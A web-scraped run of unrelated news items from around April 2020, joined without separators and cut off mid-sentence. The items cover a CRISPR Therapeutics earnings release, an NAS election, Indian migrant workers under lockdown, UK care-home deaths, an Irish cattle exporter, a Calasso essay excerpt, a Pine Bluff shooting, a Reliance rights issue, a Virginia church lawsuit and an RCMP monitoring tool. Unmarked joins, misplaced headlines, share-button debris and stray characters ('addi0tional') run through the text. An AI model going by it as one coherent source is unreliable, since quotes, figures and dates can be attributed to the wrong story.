coronavirus pandemic; (ii) the safety, efficacy and clinical progress of CRISPR Therapeutics various clinical programs including CTX001, CTX110, CTX120 and CTX130; (iii) the status of clinical trials (including, without limitation, the timing of filing of clinical trial applications and INDs, any approvals thereof, the timing of commencement of clinical trials and the expected timing of data releases), development timelines and discussions with regulatory authorities related to product candidates under development by CRISPR Therapeutics and its collaborators; (iv) the number of patients that will be evaluated, the anticipated date by which enrollment will be completed and the data that will be generated by ongoing and planned clinical trials, and the ability to use that data for the design and initiation of further clinical trials; (v) the intellectual property coverage and positions of CRISPR Therapeutics, its licensors and third parties as well as the status and potential outcome of proceedings involving any such intellectual property; (vi) the sufficiency of CRISPR Therapeutics cash resources; (vii) the expected benefits of CRISPR Therapeutics collaborations; and (viii) the therapeutic value, development, and commercial potential of CRISPR/Cas9 gene editing technologies and therapies. Without limiting the foregoing, the words believes, anticipates, plans, expects and similar expressions are intended to identify forward-looking statements. You are cautioned that forward-looking statements are inherently uncertain. Although CRISPR Therapeutics believes that such statements are based on reasonable assumptions within the bounds of its knowledge of its business and operations, forward-looking statements are neither promises nor guarantees and they are necessarily subject to a high degree of uncertainty and risk. Actual performance and results may differ materially from those projected or suggested in the forward-looking statements due to various risks and uncertainties. These risks and uncertainties include, among others: the potential impacts due to the coronavirus pandemic such as (x) delays in regulatory review, manufacturing and supply chain interruptions, adverse effects on healthcare systems and disruption of the global economy; (y) the timing and progress of clinical trials, preclinical studies and other research and development activities; and (z) the overall impact of the coronavirus pandemic on its business, financial condition and results of operations; the potential for initial and preliminary data from any clinical trial (including CTX001, CTX110, CTX120 and CTX130) not to be indicative of final trial results; the risk that the initial data from a limited number of patients (as is the case with CTX001 at this time) may not be indicative of results from the full planned study population; the outcomes for each CRISPR Therapeutics planned clinical trials and studies may not be favorable; that one or more of CRISPR Therapeutics internal or external product candidate programs will not proceed as planned for technical, scientific or commercial reasons; that future competitive or other market factors may adversely affect the commercial potential for CRISPR Therapeutics product candidates; uncertainties inherent in the initiation and completion of preclinical studies for CRISPR Therapeutics product candidates; availability and timing of results from preclinical studies; whether results from a preclinical trial will be predictive of future results of the future trials; uncertainties about regulatory approvals to conduct trials or to market products; uncertainties regarding the intellectual property protection for CRISPR Therapeutics technology and intellectual property belonging to third parties, and the outcome of proceedings (such as an interference, an opposition or a similar proceeding) involving all or any portion of such intellectual property; and those risks and uncertainties described under the heading "Risk Factors" in CRISPR Therapeutics most recent annual report on Form 10-K, and in any other subsequent filings made by CRISPR Therapeutics with the U.S. Securities and Exchange Commission, which are available on the SEC's website at www.sec.gov. Existing and prospective investors are cautioned not to place undue reliance on these forward-looking statements, which speak only as of the date they are made. CRISPR Therapeutics disclaims any obligation or undertaking to update or revise any forward-looking statements contained in this press release, other than to the extent required by law. CRISPR Therapeutics AG Condensed Consolidated Statements of Operations (Unaudited, In thousands except share data and per share data) Three Months Ended March 31, 2020 2019 Collaboration revenue $ 157 $ 328 Operating expenses: Research and development 54,193 33,822 General and administrative 19,550 14,929 Total operating expenses 73,743 48,751 Loss from operations (73,586 ) (48,423 ) Total other income, net 4,232 100 Net loss before income taxes (69,354 ) (48,323 ) Provision for income taxes (377 ) (85 ) Net loss (69,731 ) (48,408 ) Foreign currency translation adjustment (25 ) 8 Comprehensive loss $ (69,756 ) $ (48,400 ) Reconciliation of net loss to net loss attributable to common shareholders: Net loss $ (69,731 ) $ (48,408 ) Net loss per share attributable to common shareholders - basic $ (1.15 ) $ (0.93 ) Weighted-average common shares outstanding used in calculating net loss per share attributable to common shareholders - basic 60,847,683 52,093,208 CRISPR Therapeutics AG Condensed Consolidated Balance Sheets Data (Unaudited, in thousands) As of March 31, 2020 December 31, 2019 Cash $ 889,712 $ 943,771 Working capital 874,196 930,441 Total assets 1,007,300 1,066,752 Total shareholders' equity 886,097 939,425 Investor Contact: Susan Kim susan.kim@crisprtx.com Media Contact: Rachel Eides WCG on behalf of CRISPR 617-337-4167 reides@wcgworld.com KANSAS CITY, MO--The Stowers Institute for Medical Research is pleased to announce that Joan Weliky Conaway, PhD, a Stowers Investigator since 2001, has been elected a member of the prestigious National Academy of Sciences (NAS) for her distinguished and continuing achievements in original scientific research. The recognition reflects the exceptional productivity and impact of the research program co-led by Conaway and her lifelong collaborator and husband Ron Conaway, PhD. NAS announced the selection of Conaway on Monday, April 27, 2020. Membership in the NAS is considered one of the highest honors given to a scientist in the United States. The Stowers investigator will be inducted into the NAS at its 158th annual meeting in 2021. Conaway joins Scott Hawley, PhD, Robb Krumlauf, PhD, and Alejandro Sanchez Alvarado, PhD, as Stowers investigators elected to the society of distinguished scholars. Founded in 1863, the NAS includes more than 200 living Nobel laureates and such historic figures as Alexander Graham Bell, Albert Einstein, Thomas Edison, Barbara McClintock, and Orville Wright. Conaway, the Helen Nelson Distinguished Chair at Stowers, is also an Affiliate Professor in the Department of Biochemistry and Molecular Biology at the University of Kansas Medical Center. Through their 30-year scientific partnership, Conaway and her husband, Stowers Investigator Ron Conaway, PhD, have significantly advanced scientific understanding of one of life's most fundamental processes - how information encoded in the DNA of our genome is transcribed into a blueprint that is then used to make proteins involved in virtually every biological process. The Conaways' discoveries have shed new light on the molecular mechanisms of transcriptional regulation - the complicated biological process that transcribes a gene's DNA instructions for a specific protein into a format (messenger RNA, or mRNA) that can be interpreted by the cell's protein manufacturing machinery. In addition to revealing how gene transcription occurs at the molecular level, the Conaways' research has highlighted some of the steps in the process which, when disrupted, can play a role in cancer and other diseases. "We at the Stowers Institute are tremendously proud that Joan Conaway was honored with membership in NAS," says David Chao, PhD, president and CEO of the Institute. "Joan and her husband Ron Conaway, also a Stowers investigator, have a true scientific partnership. They regard their collaboration as a team effort, where both the responsibility and credit are shared by them." Conaway was awarded an AB degree in chemistry and biology from Bryn Mawr College and completed her PhD studies in cell biology in the laboratory of Nobel Laureate Roger Kornberg, PhD, at Stanford University School of Medicine. Prior to joining Stowers, Conaway was interim head and member of the Program in Molecular and Cell Biology at the Oklahoma Medical Research Foundation and Adjunct Professor in the Department of Biochemistry and Molecular Biology at the University of Oklahoma Health Sciences Center. She was also an Associate Investigator at the Howard Hughes Medical Institute until relinquishing the position for her move to the Stowers Institute. ### About the National Academy of Sciences The National Academy of Sciences is a private, nonprofit honorific society of distinguished scholars engaged in scientific and engineering research, dedicated to the furthering of science and technology and to their use for the general welfare. The NAS has served to "investigate, examine, experiment, and report upon any subject of science or art" whenever called upon to do so by any department of the government. For more information, or for the full list of newly elected members, visit http://www.nasonline.org. About the Stowers Institute for Medical Research The Stowers Institute for Medical Research is a non-profit, basic biomedical research organization dedicated to improving human health by studying the fundamental processes of life. Jim Stowers, founder of American Century Investments, and his wife Virginia opened the Institute in 2000. Currently the Institute is home to nearly 500 researchers and support personnel, over 20 independent research programs, and more than a dozen technology development and core facilities. Learn more about the Institute at http://www.stowers.org and about its graduate program at http://www.stowers.org/gradschool. As uncertainty mires the return of millions of migrant workers in the absence of Central guidelines, disquiet and anger are simmering in the shelter homes where the workers have been housed since the end of March. On Monday, several chief ministers asked Prime Minister Narendra Modi to issue guidelines allowing the states to bring back the migrant workers. Close to five million workers would have to be brought back to their respective states, as per the data collected by the state governments till Tuesday afternoon. The states have demanded special trains to bring these workers back. These workers will be kept in special quarantine homes being set up at state borders and at district headquarters. Pinky, 29, has been at the Gandhi Nagar shelter home in Jaipur since March 29 and is waiting to meet her four-year-old daughter at Etawah, Uttar Pradesh. She, along with her family members, were working at a cloth mill in Bhilwara, and were brought to shelter home, when they were walking back home on March 29. My daughter with her uncle and others reached Etawah, she said, hoping that the UP government will send buses to take them home as the state did for workers in Haryana. I just want to go back home, she said. She is not alone. Many from UP at the shelter home have registered themselves with the government helpline for migrant workers stranded in other states. UP plans to bring back a million workers from other states. Chandradeo Singh, 22, who went to Mangalore from Jharkhands Latehar to earn a livelihood, is stuck there, along with five others. We have exhausted all the money. Workers are not taking packets of cooked food for fear of being infected by coronavirus, he said. He wants to know if the Jharkhand government bring them back home. Even if the government withdraws the lockdown, we do not have bus or train fare to reach to Latehar. Back home, his wife said the family of six was surviving on boiled food. We get PDS ration but we do not have money to buy even vegetables or other items to cook food, she said. The Jharkhand governments helpline for stranded workers has registered 9,48,135 workers, from close to 15,000 places across India, all of whom want to return to their home state. Anil Sethi, 37, is among 4.9 lakh workers from Odisha who have registered with the state government portal for stranded workers outside the state. In Bangalore, Sethi, a plumber, queues up at the food centre for three hours every day, to be ladled out some tomato rice, which, he says, is not enough for five workers from Odisha, who are sharing a room. Whatever money I saved has been spent for buying food. I called the Odisha government helpline after which local NGO persons came and gave us 2 kg rice, 500 gram flour, 250 gram rice and a cabbage for the five of us. How long can five people survive on that? he asked. Before the lockdown, Sethi used earn Rs 400 a day and used to send half of the money back home. I never said no to any work despite not keeping well. I have two daughters at home. So I had no other way than to work hard, he said. Nirmal Kumar, was among the five workers. He had decided to walk back from a shelter home in Gurugram to their village in Purnia in Bihar. We got food thrice a day in a shelter, but we want to return at any cost, Kumar, 23, said. However, their journey was short-lived as they caught by police in Ghitorni in Delhi and put in a shelter. The government has failed to feel our pain, said another worker from Purnia, Bambam Kumar, 22. Arvind, 47, a worker from Bihars Samastipur, said he came to Ludhiana two months ago to work in the agriculture fields. I came here to earn something but I am sitting idle now, he said. Around 15 lakh migrant workers from Bihar are in Mumbai, Karnataka, Himachal Pradesh, Punjab, Delhi and Haryana. The Bihar government has refused to bring them back unless the Central government gives a go-ahead. The state government has announced special assistance of Rs 1000 through the Direct Benefit Transfer system to migrant workers. We have also received 25 lakh applications seeking Rs 1,000 assistance announced by the state government and have transferred the amount through DBT mode into the accounts of 15 lakh people so far, chief minister Nitish Kumar said. Like Kumar, Jharkhand chief minister, Hemant Soren, has requested PM Modi to direct the Union home ministry to relax the interstate travel ban so that migrant workers and students stuck in other states could be brought back. The government has transferred Rs 1,000 each to about a lakh workers, state labour department officials said. The Rajasthan government has started bringing back migrant workers from other states. The CM has got other states on board to get migrant workers from Rajasthan back. London: Damning new evidence shows tens of thousands of Britons will die from coronavirus in addition to those who have succumbed to the disease in hospital, with the country's true death toll as of mid-April nearly 40 per cent higher than what the public had been told. The pandemic has claimed large numbers of victims in care homes across England, where 4343 residents died in the two weeks to April 24. The concentration of coronavirus deaths in the final five days of the fortnight suggests the virus has not yet peaked in care homes in the same way it has in public hospitals, where admissions and deaths are falling. A nurse in personal protective equipment speaks to a resident at a care home in Nottingham. Credit:AP The total number of people dying from all causes in Britain is now double what it normally is for this time of year, fuelling fears the pandemic is not just taking lives directly but also forcing some people to miss life-saving hospital treatment. The revelations have put new pressure on Prime Minister Boris Johnson's government and will serve as a warning to other less-affected countries - including Australia - about the need to shield the elderly and sick when lockdowns are eased. In recent weeks, news of a shipment of cattle to Algeria brought hope to beef farmers who have seen prices fall to a 10-year low. The man behind the shipment is a new name in the business to most people. However, exporting animals is nothing new to Dr Ahmed Salman, the cosmetic surgeon behind the shipment. Born in Iraq in 1970, Dr Salman spent a number of years in the US before moving to UCD to study medicine. He then went back to America to continue his studies, eventually returning to Ireland, where he set up Auralia Clinic in 2000. He now has three clinics and a hospital in Park West, Dublin, and his interests extend into the pharmaceutical sector, nursing homes - and livestock. On his surgery's profile, it says that when not working, he enjoys the outdoors and has a great passion for the conservation of wild deer and their habitat. And the acquisition of Roundwood Park in Wicklow in 2015 probably earned him the title of 'gentleman' farmer, but he's now a substantial farmer at the weekend. Once the home of the second president of Ireland, Sean T o Ceallaigh, the 373-acre estate was in need of refurbishment. According to the auctioneers at the time, it is "probably now the biggest private estate south of Dublin". Expand Close Dr. Ahmed Salman and his daughter Aya (11) with some of the Angus Cattle on his Roundwood Park Farm Co Wicklow. Photo by Steve Humphreys / Facebook Twitter Email Whatsapp Dr. Ahmed Salman and his daughter Aya (11) with some of the Angus Cattle on his Roundwood Park Farm Co Wicklow. Photo by Steve Humphreys Dr Salman restored the property, which is now home to his family, and on the farm he keeps sheep and "some cattle". Weekends, he says, are his opportunity to not wear a suit and get back to nature. "I'm a farmer at heart," he says. "My family had a farm in Iraq and my hobbies are to be outdoors." This year the farm lambed 400 ewes and Dr Salman takes an active involvement, although most of the sheep are lambing outside themselves. "There is better harmony with the environment if they lamb outside, but at the weekends I'm quite hands on. There is a lot of selection into the breeds to make life easy for us. I wear a suit all week, but at the weekends this is what I do." Expand Close Some of Dr. Ahmed Salmans Angus Cattle on his Roundwood Park Farm Co Wicklow. Photo by Steve Humphreys / Facebook Twitter Email Whatsapp Some of Dr. Ahmed Salmans Angus Cattle on his Roundwood Park Farm Co Wicklow. Photo by Steve Humphreys He's been exporting sheep for a number of years, with a Department of Agriculture certified export centre. "There was a need for it as competition is good for business," he says. Expand Close Some of Dr. Ahmed Salmans lambs on his Roundwood Park Farm Co Wicklow. Photo by Steve Humphreys / Facebook Twitter Email Whatsapp Some of Dr. Ahmed Salmans lambs on his Roundwood Park Farm Co Wicklow. Photo by Steve Humphreys "We produce fantastic sheep on the farm and I try to get the most out of things." Markets here are subject to fluctuations, he says, and he has developed niche markets for his sheep in countries like Qatar and UAE. "There is demand in these markets for lambs that are not castrated and don't have their tails docked, and we looked at making the farm an assembly centre," he says. Dr Salman's cattle operation, he says "involves playing with breeding", and he's currently crossing Aberdeen Angus and the Japanese Wagyu breed, famed for its fat marbling. "I'm doing this to see if I can produce nicer meat. Wagyu is a highly valued meat, but maybe not for the Irish palate." Expand Close Some of Dr. Ahmed Salmans sheep on his Roundwood Park Farm Co Wicklow. Photo by Steve Humphreys / Facebook Twitter Email Whatsapp Some of Dr. Ahmed Salmans sheep on his Roundwood Park Farm Co Wicklow. Photo by Steve Humphreys The recent shipment of just under 1,100 cattle, he says, was orchestrated by a business partner who has good contacts in Algeria. "We have the best cattle here, so I thought 'why not try develop the market here?' Bord Bia also helped us get contacts," he says. "Farmers want an alternative," he said and the cattle which went to Algeria last weekend will be sent for slaughter over there. "We are trying to create a link. They (Algeria) are used to French and Spanish cattle, and people are people of habits," he says. "That's something we're trying to change. "We have fantastic cattle in Ireland so we wanted magnificent cattle from here for the shipment." While coy about the details of the end buyers, he says they have a contract for the cattle that were shipped and landed last week. He's aware that there were "a couple of issues" around payment to some of the farmers involved. "It's government money, the letter of credit is there. I guarantee payment," he insists. Dr Salman's commitment to Ireland is embedded and not just through his commercial investments. "It's great for the children to be on a farm and village life is incredible as they take care of you, and the GAA is a big part of that," he says. "I will be buried in Ireland." 'I'm a farmer at heart': the Iraqi cosmetic surgeon exporting Irish cattle to Algeria During the week, Dr Ahmed Salman runs a chain of cosmetic surgery clinics - and at weekends, he farms on a 373-acre Wicklow estate once owned by a president "Devi, in my mind, is honestly like any teenager guy or girl, Indian or not," says Ramakrishnan (her first name is pronounced My-tray-ee). "She's going through really real struggles and also being very cringe-y at times, but very honest and blunt. What I love about her is that she always has a plan. From the first episode, she has a plan of what she wants to do and what she wants to achieve. And I feel like that's all of us. We all want to have a plan of what would make us happy." * * * The prey has to be brought into focus: the isolating gaze reduces the field of vision to one point. It is a knowledge that proceeds through successive gaps, carving figures out from a background. Circumscribing them, it isolates them like a target. Indeed, the gesture of carving them out is already the gesture that attacks them. Otherwise the figure is not born. Myths, each time, are a superimposition of severed outlines. By pushing this way of knowledge each time to the extreme, by accumulating outlines, the backdrop from which they had been torn once again begins to form. This is the knowledge of the hunter. * * * With pastoralism and agriculture, the animal was just an animal, forever separated from man. For hunters, on the contrary, the animal was yet another being, neither animal nor human, hunted by beings who were neither animals nor humans. When that event took place which was the event of every history before history, when the separation took place from something called animal by something that would be called man, no one thought wisdomold and new wisdomcould be found anywhere other than in someone who shared the two forms of life. Among the caves and forests of Mount Pelion, Chiron the Centaur became the source of wisdom, the one who more than any other could teach justice, astronomy, medicine, and hunting: almost everything that could be taught at that time. For the heroes raised by Chiron, hunting was the first element of paideia. But that education, that first proof of aret?, of the virtue that would then be so frequently evoked, took place entirely outside the bounds of society. And it had no use. The hunting practiced by the heroes did not serve to nurture the community. It was a bloody and solitary exercise, practiced for no further purpose. In the hunt, the animal turns against itself and tries to kill itself. The great hunters, before being protagonists in many tales of metamorphosis, were themselves the result of a metamorphosis. Apollo, before killing the wolf or mice, was a wolf and a mouse. Artemis, before killing bears, had been a bear. The pathos of hunting, the complicity between hunter and prey, goes back to the beginning, when the hunter was himself the animal, when Apollo was the general of an army of mice and head of a pack of wolves. The foundation of hunting was a discovery of logic: the working of negation. This founding and intoxicating discovery needed to be perpetually confirmed, repeated. While the life of the city pulsated, it was matched by another parallel life in the mountains. Tireless and solitary, Apollo and Artemis, and Dionysus, too, carried on hunting. The energy that their gestures unleashed was the necessary allusion, the framework hidden behind market trading, families at sleep, laboring in the fields. None of all that constituted city life could have existed without those hunts, those mountain ambushes, without those arrows shot, and that blood. It might be said that society had never felt itself sufficiently alive, and perhaps real, without that parallel and superfluous, roaming life of the hunter gods lost in the woods. Like the monks prayer, the silent pursuit of the hunter gods held up the walls that enclosed the city: indeed, it was that hunting that encircled it, like a perpetual whirlwind. * * * Men became metaphysical animals during the hunt. Agriculture would give only one key element to thought: rhythm, the alternation between blossoming and withering. But the burden of society on man would be much increased. The great cities are heirs to those places where reserves of food were kept for the first time in tall jars in storehouses. Hunters could have no idea about reserves. They had no inventories, nor records. * * * The paleoanthropologist Jean Clottes found himself at Rocky Hill, in central California, in front of a cave wall decorated with pictures. He had been taken there by Hector, a Yokut Indian, the spiritual guardian of the site. Clottes concentrated on a figure that brought to mind a shaman with his drum. Its a bear, said Hector. Surprised, the paleoanthropologist replied: Really? I would have thought it was a man. Its the same thing, said Hector. And he fell silent. * * * One of the signs of detachment from the animal came when a group of men disguised themselves as a pack of wolves: finally interchangeable, equal, like the spokes of a wheel. The intoxication was twofold and simultaneous: the intoxication of the hunted animal that turns into a predatoran intoxication of power and of metamorphosis, while still closed inside the animal circle; and the intoxication of the being that finds its equal, its substitute, its equivalentan intoxication of knowledge, which does not reveal itself in any visible sign but marks a gap that will, from then on, be unbridgeable. The first equals were the wolves and the dead. That pack of beings that each looked like a duplication of the other took a decisive step toward abstraction: from that moment the world was branded with the mark of identity. It was their invisible banner. Its empire is revealed in a multiple, roaming, ubiquitous figure. In order to be separated from animal continuity, the first stratagem was the mask, camouflage. That pack of wolves that roamed the forest consisted of the first men, the first who felt so irremediably human that they sought to disguise themselves as wolves. When man became man alone, a last curtain could hide him from the world: a mask of silk or velvet that left his mouth exposed. In French it is called a loup: because certain wolves carry the shape of a mask on their face, as if they were inviting man to imitate them, disguising himself as a wolf. [ Return to the review of The Celestial Hunter. ] While construction and manufacturing sectors have been allowed to restart, local leaders say it is too soon. Mayors across Colombia have moved to block a government decision allowing some people to return to work. The country remains under lockdown until the middle of next month but the construction and manufacturing sectors have been allowed to restart. Local leaders say it is too soon, and have taken matters into their own hands. Al Jazeeras Alessandro Rampietti reports from Bogota. Authorities in Arkansas said they received an emergency call Sunday night on an apparent drive-by shooting that left two people dead and one wounded. Officers with the Pine Bluff Police Department (PBPD) responded to the shooting that happened late Sunday at around 11:30 p.m. at a home in Pine Bluff. Once officers arrived, they found 37-year-old Terrance Givens dead of apparent gunshot wounds inside the residence. Givens was pronounced dead at the scene, police said in a news release. Two more people at the residence had been shot and were transported to Jefferson Regional Medical Center. Authorities identified the two victims as 34-year-old Broderick Givens and a 4-year-old female juvenile. The female juvenile was pronounced dead by an emergency room doctor shortly after arriving at the hospital. The 4-year-old died from gunshot wounds to the upper torso, police said. Broderick Givens is currently in a stable condition after surgery for his wounds and is expected to survive, according to Pine Bluff Police Lt. David De Foor. There was no information on suspects or motives as of Monday morning, and the incident is still an active investigation, police said. Theyre looking at a couple of different angles on it, De Foor told Arkansas Online. They dont know if this is going to be a gang-related type of thing or if its going to be something else because that house, according to the rumors weve heard, had gotten to be kind of a party house, so we dont know if someone got into an argument there or exactly what the deal is. Reporter Susan El Khoury posted several pictures of the residence on Twitter with the caption: This is the home off 6th Ave in Pine Bluff where a man and 4-year-old girl were killed in a drive by shooting late Sunday night. Another man is in the hospital fighting for his life. Authorities are offering a reward for information that leads to the arrest and conviction of a suspect. Police said the current incident is Pine Bluffs seventh and eighth homicides of 2020. Pine Bluff is about 40 miles southeast of Little Rock. The department added that anyone with information on the shooting should contact the Detective Division at 870-730-2090 or Dispatch at 870-541-5300. By PTI KOLKATA: Students of the Presidency University have given Rs 3000 each to eight casual employees of a hostel to help them tide over economic hardships they are facing due to the COVID-19 lockdown. Subho Biswas, one of the students at the niversity, said they raised the amount from boarders, ex-students and other well-wishers. The hostel and the university are closed because of the lockdown. "We know Rs 3000 is a small amount for a family in the present situation. But we are thankful to everyone for chipping in. We will continue to assist these people in future. Our fund raising will continue," Biswas said. The money was deposited into the accounts of the eight casual employees of Hindu Hostel on Monday. ALSO READ: COVID-19 LIVE The workers live in East and West Midnapore districts and neighbouring Odisha, he said. Presidency University Registrar Debojyoti Konar told PTI that "our students have always performed their social responsibilities and we are proud of them." However, the students must maintain social distancing norms and other government-specified advisories while taking part in any relief work for the economically disadvantaged people, he added. Earlier, the Presidency University Students Council gave Rs 1,000 each to the eight casual workers of the Hindu Hostel and to a hawker. "We know this amount is very little to provide them relief but we want to tell them that we are always by their side," Presidency University Students Council president Mimosa Ghorai said. The students of the Indian Institute of Engineering Science and Technology (IIEST) in Shibpur also gave Rs 2,000 each to 35 canteen staff recently. New Delhi, April 28 : The Central Board of Indirect Taxes and Customs (CBIC) is drawing up plans for systematic evacuation of cargo, as and when the goods transportation gets normal post-lockdown. In a letter to officers and other employees dated April 27, CBIC Chairman M. Ajit Kumar said, "The foreseeable future is likely to see transportation of goods move towards near normalcy. The surge for clearance of containers on the grant of 'out of charge' (OOC) should not catch us unawares at any of seaports, airports, inland container depots (ICDs) or container freight station (CFSs)." Calling for a contingency plan for systematic evacuation of cargo without traffic snarlups at the port or in the city, Kumar said the Zonal Chief Commissioners might like to set up special team under an ADC or JC and make them go through the drill to meet any eventuality. "The active involvement of the port authorities may also be required right away," he said. The department had expeditiously cleared refund, drawback claims during the special refund drive, he said. The board had processed around 300,000 refund applications of GST, customs and drawback claims, leading to sanction of Rs 10,733 crore in 15 days since April 8, he said and added, it would provide immediate relief and liquidity to business entities, especially MSMEs. Kumar said the CBIC's intelligence units and field formations had continued to thwart attempts to evade duty or smuggle goods and it was evident from major cases booked last week. The Delhi zonal unit of the Directorate General of GST Intelligence (DGGI) has filed a case involving non-payment of IGST on free-of-cost import of software by a major IT firm, whose sister company is based abroad, and recovered Rs 22.68 crore duty for July 2017 to March 2020. Similarly, the Lucknow zonal unit of the Directorate of Revenue Intelligence (DRI) has prohibited goods of a syndicate indulging in import of grossly overvalued fragrance oil (perfumery compound), storing them in duty-free warehouses or SEZs without payment of duty and exporting them directly or through front or dummy companies. "Investigations have revealed almost Rs 5,500 crore foreign exchange component in this carousel fraud. The extent of overvaluation is more than 100 times. Goods having a declared value of more than Rs 150 crore, relating to the firms involved, have been seized. Further investigation is in progress," the letter read. The Chennai Air Customs during its vigil at the foreign post office narrowed on a parcel that had arrived from the USA and was destined to the East Godavari district. 1.7 kg cannabis of foreign origin worth Rs 9 lakh was found concealed in sleeping bags in the carton and was seized under the NDPS Act, 1985, it said. Indias Reliance Industries Ltd said it will consider its first rights issue in almost 30 years when its board meets on Thursday, in another attempt to slash its debt Mumbai: Indias Reliance Industries Ltd said it will consider its first rights issue in almost 30 years when its board meets on Thursday, in another attempt to slash its debt. In an exchange filing late on Monday the oil-to-retail conglomerate said a rights issue would be on the table at the meeting although it gave no details of what exactly was under consideration. The discussions come after Facebook revealed plans to spend $5.7 billion to buy a 9.99 percent stake in Reliances digital arm, raising questions about why the Indian company would need to raise addi0tional capital through a rights offer.0 Reliances rights issue is a surprise, considering that they are getting equity infusion from Facebook, said Naveen Kulkarni, chief investment officer at Axis Securities. There will be some dilution because of the issue, but it is difficult to gauge at this point in time how much the stock will fall because the quantum is not known. Click here to follow LIVE news and updates on stock markets Several analysts however said a rights issue would be a positive development reflecting the confidence of management and their commitment to eliminating Reliances net debt of about $22 billion by March 2021. It reflects promoters unflinching faith in the medium to long term prospects of various businesses, said Ajay Bodke, chief executive at Prabhudas Lilladher, a portfolio management service company. Reliance shares rose as much as 1.8 percent in early trade following the announcement, later falling in line with the broader market. At 0625 GMT, the shares were trading down 1.7 percent. Promoters - as controlling stakeholders are called in India - hold a little over 50 percent of Reliance and would likely infuse their own funds into the company if they want to retain their stake at current levels. Reliance had hoped to pocket nearly $15 billion by offloading a 20 percent stake in its refining and petrochemicals arm to Saudi Aramco, in a deal which was due to be closed by March but now could be shelved amid the ongoing coronavirus pandemic. One analyst who declined to be named said Reliance may be looking at a rights issue as the Aramco deal appeared to be in doubt. Reliance acquired huge amounts of debt when it bought into the telecom sector with the launch of Jio, which began operations in late 2016 with free voice and cut-price data, triggering consolidation in an overcrowded sector. (Disclaimer: Reliance Industries Ltd. is the sole beneficiary of Independent Media Trust which controls Network18 Media & Investments Ltd which publishes Firstpost) Pastor sues Va. Gov. Ralph Northam after facing fine, jail for holding 16-person church service Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A Virginia pastor, who was served a summons for holding a service for 16 people on Palm Sunday, and his church have filed a federal lawsuit against Gov. Ralph Northam for issuing executive orders banning religious gatherings with more than 10 people, saying it violated the Virginia Constitution. Liberty Counsel, which is representing Pastor Kevin Wilson and Lighthouse Fellowship Church on Chincoteague Island, filed the lawsuit Friday against Northam, whose COVID Order 55 provides for a penalty of up to a year in jail and/or a $2,500 fine. Police served a summons to Wilson for holding a church service on April 5 for 16 people spaced far apart in a sanctuary that is rated for 293 people, Liberty Counsel said in a statement. A police officer entered the church without identifying himself and abruptly told the congregation they could not have more than 10 people spaced six feet apart, the law firm said. Then, after the service, two police officers entered the church in full mask and gloves and asked to speak with the pastor. They issued him a summons and informed him that if he had service on Easter, all attending would get the same summons. Liberty Counsel said the parking lots of multiple commercial establishments were filled with hundreds of cars Thursday. Yet, Gov. Northam criminalizes religious worship that exceeds 10 people. Governor Ralph Northam has clearly discriminated against Lighthouse Fellowship Church which provides essential physical, emotional and spiritual services to the community, The law firms chair, Mat Staver, said. This church does not have internet and cannot flip a switch to broadcast online. Staver argued that Wilson protected the health and safety of the 16 people that attended on Palm Sunday by requiring them to be spread far apart in the sanctuary. But because the church had six more people than the 10 allowed by the governor, the pastor is being criminally charged. We must balance the First Amendment with protecting the health and welfare of people but picking an arbitrary number of 10 people for every church is not the answer, he said. Quoting the judgment in W. Va. State Bd. of Educ. v. Barnette, Liberty Counsel noted that the Supreme Court has unequivocally stated, [i]f there is any fixed star in our constitutional constellation, it is that no official, high or petty, can prescribe what shall be orthodox in politics, nationalism, religion, or other matters of opinion or force citizens to confess by word or act their faith therein. The Commonwealth of Virginia, the statement underlines, does not have the authority to dictate the manner or form of worship, whether that be online or a 10-person limit. Earlier, a Russell County man, Larry Hughes, filed a suit against Northam in Russell County Circuit Court looking for an injunction to allow churches and other faith communities to hold limitless group assemblies, according to Richmond Times-Dispatch. [Hughes] will not know the number of participants that may be at a service until he arrives, the lawsuit read. Even the pastor of a church may fear numerical non-compliance and simply close the doors to avoid turning out participants during service if the number suddenly exceeds the permissible limit. Defending Northam, Attorney General Mark Herring said in a brief he filed, As a person of faith, the Governor recognized that the temporary gatherings restriction would be particularly hard on religious communities. The Governor has issued guidance designed to help faith communities maintain their communion and worked with religious leaders to find creative solutions, including online and drive-in services. Time and again, large gatherings have provided fertile ground for transmission of this deadly virus and in-person religious services have not been spared. However, Hughes lawyer, T. Shead Cook, responded by saying the orders placed commercial/secular interests above the guaranteed freedom of religion. Judge Michael Moore denied the injunction request by Hughes. The RCMP logo is seen outside Royal Canadian Mounted Police "E" Division Headquarters, in Surrey, B.C., on April 13, 2018. (Darryl Dyck/The Canadian Press) RCMP to Parse Social Media to Better Identify Threats Canadas national police force wants a digital tool to harvest data from a sweeping variety of online sources, including the darkest reaches of the internet, to provide early information on threats such as disease outbreaks and mass shootings. The software would allow an RCMP officer to quickly mine data about a persons internet activities, from an emoji posting on Facebook to an illicit firearm purchase on the so-called darknet. Social media and publicly available information will be used to identify threats and address public concerns, says the RCMP contract tender. The application would also help spot brewing public-relations issues and enhance strategic, operational and tactical information for improved decision-making in a crisis or major-event setting. A woman pays her respects at a roadside memorial in Portapique, Nova Scotia, Canada, on April 23, 2020. (Andrew Vaughan/The Canadian Press via AP) The tender says the tool should include a dashboard with reports on breaking news, mass-casualty events, terrorist attacks, disease outbreaks and natural disasters. The solicitation notice was issued in mid-April, just days before a gunman went on a deadly rampage in Nova Scotia. However, the initiative is rooted in another tragedy, the fatal shootings of three police officers and the woundings of two others in Moncton, N.B., six years ago. A report on the events recommended the RCMP procure a real-time social-media monitoring tool to help identify risks and improve public communication, noted Cpl. Caroline Duval, an RCMP spokeswoman. The police must keep pace with the emergence of new technologies to best serve their communities, Duval said. Social media analysis can support public safety in a variety of ways. Royal Canadian Mounted Police (RCMP) members pack up after the search for Gabriel Wortman in Great Village, Nova Scotia, Canada on April 19, 2020. (John Morris/Reuters) The RCMP already uses such information to detect threats to major events, infrastructure or other locations, she said. It has also helped identify dangers to public figures and prevent suicides, school shootings and other criminal actions discussed on social media, Duval added. Such trawling of open-source material by the Mounties has also raised privacy questions. A Toronto activist concerned about miningindustry abuses recently learned the Mounties compiled a sixpage profile of her shortly after she showed up at a federal leaders debate during the 2015 election campaign. Rachel Small, an organizer with the Mining Injustice Solidarity Network, said it was kind of creepy and unsettling to see the RCMP profile, which came to light years later through an access-to-information request. Government Technology Agency (GovTech) staff demonstrate Singapores new contact-tracing smarthphone app called TraceTogether, as a preventive measure against the COVID-19 coronavirus in Singapore on March 20, 2020. (Catherine Lai/AFP via Getty Images) The new software tool would sift publicly available Internet data sources and content including, but not limited to, Twitter, Facebook, 